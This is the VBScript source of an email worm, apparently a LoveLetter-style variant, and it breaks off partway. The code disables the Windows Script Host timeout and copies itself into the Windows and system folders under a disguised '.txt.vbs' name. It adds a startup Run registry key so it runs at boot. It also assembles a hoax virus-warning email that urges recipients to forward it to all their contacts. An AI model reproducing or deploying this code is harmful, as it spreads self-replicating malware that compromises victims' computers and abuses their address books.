rem VERY IMPORTANT PLEASE READ THIS TEXT. Autor ( burtai@crosswinds.net) rem Begin Joke (Lithuanian) On Error Resume Next dim fso,dirwin,dirsystem,eq,ctr,file,vbscopy eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll go() sub go() On Error Resume Next set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirwin&"\win.vbs") c.Copy(dirsystem&"\very-important-txt.vbs") write() sent() clear() end sub sub write() On Error Resume Next regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\burtai",dirwin&"\win.vbs" end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1=""&vbcrlf& _ ""&vbcrlf& _ ""&vbcrlf& _ "
VERY IMPORTANT PLEASE READ.
"&vbcrlf& _ "This was sent to me so am sending to my complete address book.Some of us have supposed virus protection while"&vbcrlf& _
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WARNING No. 1
"&vbcrlf& _ "If you receive any CELCOM Screen Saver. Pls. do not install it This screensaver is very cool. It shows a NOKIA "&vbcrlf& _
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WARNING No. 2
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"&vbcrlf& _ "SEND THIS TO EVERYONE IN YOUR CONTACT LIST! THIS IS NO JOKE,OK?"&vbcrlf& _
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WARNING: If you get an E-mail titled : "Win A Holiday" DO NOT open it.Delete it immediately.Microsoft just announced yesterday."&vbcrlf& _
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Forward this to everyone IMMEDIATELY!!
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